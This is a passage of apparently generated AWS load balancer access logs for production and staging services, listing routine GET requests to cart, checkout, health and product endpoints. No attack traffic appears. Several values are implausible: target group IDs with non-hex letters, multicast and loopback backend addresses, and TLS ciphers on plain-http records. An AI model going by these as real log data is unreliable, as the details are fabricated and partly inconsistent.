"prod-web-alb.example.com" "-" 0 2024-11-01T01:29:00.677485Z "forward" "-" "-" "10.0.107.135:443" "200" "-" "-" +https 2024-11-01T01:29:02.084039Z prod-api-alb 71.11.236.73:30348 10.0.203.236:443 0.053588 0.252664 0.009446 200 200 5 12048 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc6e-2c452290a4c946e78a576c1a" "prod-api-alb.example.com" "-" 1 2024-11-01T01:29:02.084039Z "forward" "-" "-" "10.0.203.236:443" "200" "-" "-" +https 2024-11-01T01:29:03.004595Z prod-web-alb 109.157.69.152:42261 10.0.165.217:443 0.029382 0.241907 0.048379 200 200 324 990 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc6f-13eb247c2fe44c6a904a97bf" "prod-web-alb.example.com" "-" 4 2024-11-01T01:29:03.004595Z "forward" "-" "-" "10.0.165.217:443" "200" "-" "-" +https 2024-11-01T01:29:04.542039Z prod-web-alb 107.175.171.33:48521 10.0.117.178:443 0.039736 0.353604 0.088151 404 404 742 7794 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc70-4057d126c020480c951e2bcc" "prod-web-alb.example.com" "-" 7 2024-11-01T01:29:04.542039Z "forward" "-" "-" "10.0.117.178:443" "404" "-" "-" +https 2024-11-01T01:29:05.197968Z prod-web-alb 214.111.101.108:12674 10.0.102.55:443 0.058207 0.034647 0.057263 302 302 495 1436 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc71-cfcca1081581466780095c80" "prod-web-alb.example.com" "-" 10 2024-11-01T01:29:05.197968Z "forward" "-" "-" "10.0.102.55:443" "302" "-" "-" +https 2024-11-01T01:29:05.637957Z prod-web-alb 56.208.124.194:38833 10.0.231.82:443 0.050251 0.217087 0.022087 404 404 281 2711 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc71-4428d02afafe4e0a907e4469" "prod-web-alb.example.com" "-" 10 2024-11-01T01:29:05.637957Z "forward" "-" "-" "10.0.231.82:443" "404" "-" "-" +https 2024-11-01T01:29:07.059848Z prod-api-alb 124.216.170.203:14474 10.0.35.28:443 0.060367 0.484342 0.075568 404 404 410 12572 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc73-775c7453bb904bdbbd9a654d" "prod-api-alb.example.com" "-" 8 2024-11-01T01:29:07.059848Z "forward" "-" "-" "10.0.35.28:443" "404" "-" "-" +https 2024-11-01T01:29:07.448382Z prod-web-alb 56.162.85.171:12020 10.0.237.243:443 0.009324 0.423235 0.066470 301 301 633 1960 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc73-c49820490b8f4a8ca4b8c6cc" "prod-web-alb.example.com" "-" 9 2024-11-01T01:29:07.448382Z "forward" "-" "-" "10.0.237.243:443" "301" "-" "-" +http 2024-11-01T01:29:08.572907Z staging-alb 64.31.125.208:19455 138.47.194.129:80 0.054427 0.240834 0.082674 404 404 960 878 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc74-93f1bf414f0d44b980d802de" "staging-alb.example.com" "-" 10 2024-11-01T01:29:08.572907Z "forward" "-" "-" "138.47.194.129:80" "404" "-" "-" +https 2024-11-01T01:29:09.582306Z staging-alb 57.56.202.223:63531 107.236.238.30:80 0.059567 0.511931 0.085562 302 302 862 4619 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc75-5cd2d383a07542e8a535e8ed" "staging-alb.example.com" "-" 1 2024-11-01T01:29:09.582306Z "forward" "-" "-" "107.236.238.30:80" "302" "-" "-" +http 2024-11-01T01:29:10.834170Z staging-alb 174.225.46.93:13865 177.188.97.206:8080 0.145908 0.396784 0.047981 404 404 150 6019 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc76-be7b941f84cb465bafcbe9f9" "staging-alb.example.com" "-" 0 2024-11-01T01:29:10.834170Z "forward" "-" "-" "177.188.97.206:8080" "404" "-" "-" +https 2024-11-01T01:29:11.999259Z prod-web-alb 241.86.177.47:41360 10.0.35.197:443 0.063930 0.420903 0.078122 200 200 705 5254 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc77-cf577c3a4340443b9133a68b" "prod-web-alb.example.com" "-" 2 2024-11-01T01:29:11.999259Z "forward" "-" "-" "10.0.35.197:443" "200" "-" "-" +https 2024-11-01T01:29:12.800371Z prod-api-alb 35.89.142.64:15555 10.0.195.68:443 0.076026 0.360383 0.002240 200 200 976 7007 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc78-f9946ac356144d3a938dabb7" "prod-api-alb.example.com" "-" 3 2024-11-01T01:29:12.800371Z "forward" "-" "-" "10.0.195.68:443" "200" "-" "-" +https 2024-11-01T01:29:14.047040Z staging-alb 34.98.211.10:29196 77.0.228.55:8080 0.126672 0.268984 0.045511 200 200 207 5357 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc7a-1518aec610d2445384a89cb8" "staging-alb.example.com" "-" 0 2024-11-01T01:29:14.047040Z "forward" "-" "-" "77.0.228.55:8080" "200" "-" "-" +https 2024-11-01T01:29:14.452979Z prod-web-alb 169.83.178.88:28440 10.0.212.90:443 0.078244 0.464537 0.093778 301 301 342 3562 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc7a-749bc7f978044931a1fc4e0f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:29:14.452979Z "forward" "-" "-" "10.0.212.90:443" "301" "-" "-" +http 2024-11-01T01:29:14.568067Z staging-alb 42.139.209.233:34881 154.150.149.168:80 0.051787 0.449684 0.042830 200 200 581 975 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc7a-21e59ffcb9c94398ad4883cf" "staging-alb.example.com" "-" 1 2024-11-01T01:29:14.568067Z "forward" "-" "-" "154.150.149.168:80" "200" "-" "-" +http 2024-11-01T01:29:16.561508Z staging-alb 154.212.235.102:40484 95.34.115.251:80 0.114286 0.214316 0.090394 200 200 652 5386 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc7c-601db03f08864e798c2be33a" "staging-alb.example.com" "-" 10 2024-11-01T01:29:16.561508Z "forward" "-" "-" "95.34.115.251:80" "200" "-" "-" +https 2024-11-01T01:29:17.634371Z prod-web-alb 42.212.217.228:27207 10.0.173.206:443 0.080884 0.391494 0.058994 404 404 497 11026 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc7d-ecdbd611a4534e61a48a8403" "prod-web-alb.example.com" "-" 1 2024-11-01T01:29:17.634371Z "forward" "-" "-" "10.0.173.206:443" "404" "-" "-" +https 2024-11-01T01:29:17.853011Z prod-web-alb 151.117.58.133:38134 10.0.51.18:443 0.011032 0.363296 0.037051 301 301 336 6616 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc7d-d5280f61534f4827abac8f1b" "prod-web-alb.example.com" "-" 5 2024-11-01T01:29:17.853011Z "forward" "-" "-" "10.0.51.18:443" "301" "-" "-" +https 2024-11-01T01:29:19.838996Z prod-api-alb 186.197.121.210:52273 10.0.152.149:443 0.048253 0.482665 0.001202 404 404 301 8485 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc7f-a1b9e58f4e8843e78b20bc1a" "prod-api-alb.example.com" "-" 3 2024-11-01T01:29:19.838996Z "forward" "-" "-" "10.0.152.149:443" "404" "-" "-" +https 2024-11-01T01:29:21.258120Z prod-web-alb 171.213.38.101:37197 10.0.48.205:443 0.039079 0.302028 0.025330 200 200 915 12590 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc81-bb91e58dbc624543b29e8e60" "prod-web-alb.example.com" "-" 5 2024-11-01T01:29:21.258120Z "forward" "-" "-" "10.0.48.205:443" "200" "-" "-" +https 2024-11-01T01:29:21.983378Z prod-web-alb 47.44.249.86:46180 10.0.92.105:443 0.058034 0.220241 0.065013 200 200 724 1825 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc81-f3024b81c4214730b24b73a4" "prod-web-alb.example.com" "-" 3 2024-11-01T01:29:21.983378Z "forward" "-" "-" "10.0.92.105:443" "200" "-" "-" +https 2024-11-01T01:29:22.633917Z prod-web-alb 108.164.80.167:54950 10.0.198.71:443 0.071372 0.032694 0.047533 302 302 744 1591 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc82-0c67b4579617456589283709" "prod-web-alb.example.com" "-" 6 2024-11-01T01:29:22.633917Z "forward" "-" "-" "10.0.198.71:443" "302" "-" "-" +https 2024-11-01T01:29:23.286349Z staging-alb 1.88.35.22:36705 253.102.235.40:443 0.081196 0.667641 0.000701 301 301 753 3343 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc83-15b3152636ae4b929e12ca37" "staging-alb.example.com" "-" 4 2024-11-01T01:29:23.286349Z "forward" "-" "-" "253.102.235.40:443" "301" "-" "-" +https 2024-11-01T01:29:25.124028Z prod-web-alb 39.37.21.9:63835 10.0.196.7:443 0.073643 0.281316 0.032914 200 200 516 540 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc85-7711f96635954df9b843369a" "prod-web-alb.example.com" "-" 7 2024-11-01T01:29:25.124028Z "forward" "-" "-" "10.0.196.7:443" "200" "-" "-" +http 2024-11-01T01:29:26.417059Z staging-alb 203.232.129.158:50363 227.112.55.43:443 0.138079 0.183841 0.120220 302 302 566 14926 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc86-dbf2725787494a60b7e98fa6" "staging-alb.example.com" "-" 0 2024-11-01T01:29:26.417059Z "forward" "-" "-" "227.112.55.43:443" "302" "-" "-" +https 2024-11-01T01:29:26.864002Z prod-web-alb 99.95.9.137:35815 10.0.59.94:443 0.009792 0.272041 0.030756 301 301 193 742 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc86-8aa11bc5c67948849c26914b" "prod-web-alb.example.com" "-" 9 2024-11-01T01:29:26.864002Z "forward" "-" "-" "10.0.59.94:443" "301" "-" "-" +https 2024-11-01T01:29:28.703014Z prod-web-alb 207.246.146.128:54438 10.0.222.46:443 0.098117 0.252280 0.073213 200 200 306 4637 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc88-f1d1ef6e78f64da8ac31c1c9" "prod-web-alb.example.com" "-" 3 2024-11-01T01:29:28.703014Z "forward" "-" "-" "10.0.222.46:443" "200" "-" "-" +https 2024-11-01T01:29:29.398075Z prod-web-alb 163.114.251.104:51075 10.0.108.201:443 0.085791 0.226059 0.087529 301 301 155 14465 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc89-5da1cb36dd8c4e65997e73ec" "prod-web-alb.example.com" "-" 5 2024-11-01T01:29:29.398075Z "forward" "-" "-" "10.0.108.201:443" "301" "-" "-" +https 2024-11-01T01:29:31.328321Z prod-web-alb 118.231.152.26:21355 10.0.230.50:443 0.018680 0.440594 0.096839 200 200 949 5913 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc8b-ce136d843ec44c079027f79e" "prod-web-alb.example.com" "-" 2 2024-11-01T01:29:31.328321Z "forward" "-" "-" "10.0.230.50:443" "200" "-" "-" +https 2024-11-01T01:29:33.022713Z staging-alb 105.151.180.220:45990 127.66.179.196:80 0.022903 0.631194 0.006763 200 200 378 14512 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc8d-287ae6be86324a58b37c55a2" "staging-alb.example.com" "-" 3 2024-11-01T01:29:33.022713Z "forward" "-" "-" "127.66.179.196:80" "200" "-" "-" +https 2024-11-01T01:29:33.305853Z staging-alb 176.133.254.135:31421 169.120.152.180:443 0.013729 0.311030 0.029103 404 404 841 14433 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc8d-142999d255194e829c469be3" "staging-alb.example.com" "-" 5 2024-11-01T01:29:33.305853Z "forward" "-" "-" "169.120.152.180:443" "404" "-" "-" +https 2024-11-01T01:29:33.617742Z prod-api-alb 241.45.32.205:13844 10.0.239.78:443 0.025782 0.303987 0.009262 200 200 894 7615 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc8d-139f175f1bc04c709a9ce26f" "prod-api-alb.example.com" "-" 9 2024-11-01T01:29:33.617742Z "forward" "-" "-" "10.0.239.78:443" "200" "-" "-" +http 2024-11-01T01:29:35.450068Z staging-alb 124.202.162.243:32197 234.178.21.175:80 0.099063 0.596107 0.054345 200 200 407 9832 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc8f-a34f6329c0f848ec987db61d" "staging-alb.example.com" "-" 2 2024-11-01T01:29:35.450068Z "forward" "-" "-" "234.178.21.175:80" "200" "-" "-" +https 2024-11-01T01:29:37.077697Z prod-api-alb 130.252.133.18:14540 10.0.185.160:443 0.066542 0.275167 0.061390 301 301 54 10544 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc91-23c784b6ed094fdc8baced2b" "prod-api-alb.example.com" "-" 0 2024-11-01T01:29:37.077697Z "forward" "-" "-" "10.0.185.160:443" "301" "-" "-" +https 2024-11-01T01:29:37.979886Z prod-web-alb 251.21.107.81:39808 10.0.42.230:443 0.013714 0.473654 0.049446 200 200 324 13515 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc91-08910765267d465493d8bee0" "prod-web-alb.example.com" "-" 5 2024-11-01T01:29:37.979886Z "forward" "-" "-" "10.0.42.230:443" "200" "-" "-" +http 2024-11-01T01:29:38.453606Z staging-alb 85.161.84.6:60675 230.223.142.231:8080 0.080769 0.007446 0.045484 200 200 237 6357 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc92-2efdc5da692d40fea7d7b7e1" "staging-alb.example.com" "-" 0 2024-11-01T01:29:38.453606Z "forward" "-" "-" "230.223.142.231:8080" "200" "-" "-" +http 2024-11-01T01:29:38.947986Z staging-alb 59.28.255.249:37859 152.39.217.180:8080 0.010780 0.362034 0.046688 302 302 597 10679 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc92-e5c9af9c08494b86a6807d83" "staging-alb.example.com" "-" 10 2024-11-01T01:29:38.947986Z "forward" "-" "-" "152.39.217.180:8080" "302" "-" "-" +https 2024-11-01T01:29:39.590902Z prod-web-alb 108.60.173.167:60692 10.0.218.230:443 0.025590 0.434413 0.043019 302 302 229 4648 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc93-e02c273e4896412e8060a26b" "prod-web-alb.example.com" "-" 9 2024-11-01T01:29:39.590902Z "forward" "-" "-" "10.0.218.230:443" "302" "-" "-" +https 2024-11-01T01:29:39.943818Z prod-api-alb 175.48.152.140:44403 10.0.6.76:443 0.039402 0.402367 0.033505 200 200 482 12125 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc93-1eb3d8977a82403e8100907b" "prod-api-alb.example.com" "-" 1 2024-11-01T01:29:39.943818Z "forward" "-" "-" "10.0.6.76:443" "200" "-" "-" +https 2024-11-01T01:29:40.590990Z staging-alb 174.120.65.143:25277 246.35.222.163:8080 0.107917 0.269402 0.133313 200 200 775 3489 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc94-850c5d7af6ce47b3b1103b91" "staging-alb.example.com" "-" 6 2024-11-01T01:29:40.590990Z "forward" "-" "-" "246.35.222.163:8080" "200" "-" "-" +https 2024-11-01T01:29:41.181067Z prod-api-alb 55.62.42.183:24572 10.0.235.212:443 0.044363 0.042586 0.011554 200 200 586 5528 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc95-beacf295355f4a7cb7472293" "prod-api-alb.example.com" "-" 7 2024-11-01T01:29:41.181067Z "forward" "-" "-" "10.0.235.212:443" "200" "-" "-" +https 2024-11-01T01:29:42.461759Z prod-api-alb 158.56.199.60:36566 10.0.113.56:443 0.019207 0.375906 0.078936 200 200 631 4431 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc96-e50bd59a89fc4a4299e45ae9" "prod-api-alb.example.com" "-" 8 2024-11-01T01:29:42.461759Z "forward" "-" "-" "10.0.113.56:443" "200" "-" "-" +https 2024-11-01T01:29:44.290883Z prod-web-alb 77.54.167.91:22161 10.0.170.114:443 0.034390 0.182885 0.075485 200 200 231 7635 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc98-a547a7a0edc6421e83ccbc29" "prod-web-alb.example.com" "-" 9 2024-11-01T01:29:44.290883Z "forward" "-" "-" "10.0.170.114:443" "200" "-" "-" +https 2024-11-01T01:29:45.250591Z prod-web-alb 149.168.156.221:39271 10.0.206.216:443 0.068629 0.023305 0.080035 200 200 928 8786 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc99-ed1533da475d49b49b052ce4" "prod-web-alb.example.com" "-" 10 2024-11-01T01:29:45.250591Z "forward" "-" "-" "10.0.206.216:443" "200" "-" "-" +https 2024-11-01T01:29:45.688010Z prod-api-alb 103.31.108.38:36398 10.0.242.1:443 0.094279 0.080218 0.016119 404 404 661 7909 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc99-4c6b47c11e0342da88e3018a" "prod-api-alb.example.com" "-" 2 2024-11-01T01:29:45.688010Z "forward" "-" "-" "10.0.242.1:443" "404" "-" "-" +https 2024-11-01T01:29:47.469397Z prod-api-alb 49.214.161.100:32897 10.0.141.220:443 0.042377 0.123114 0.034151 301 301 877 8149 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc9b-7355426694f9446f99ce4e94" "prod-api-alb.example.com" "-" 0 2024-11-01T01:29:47.469397Z "forward" "-" "-" "10.0.141.220:443" "301" "-" "-" +https 2024-11-01T01:29:48.152714Z prod-api-alb 23.231.21.228:29651 10.0.218.109:443 0.005195 0.136075 0.034874 404 404 57 7227 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc9c-aa4d38ad11474fad946596f2" 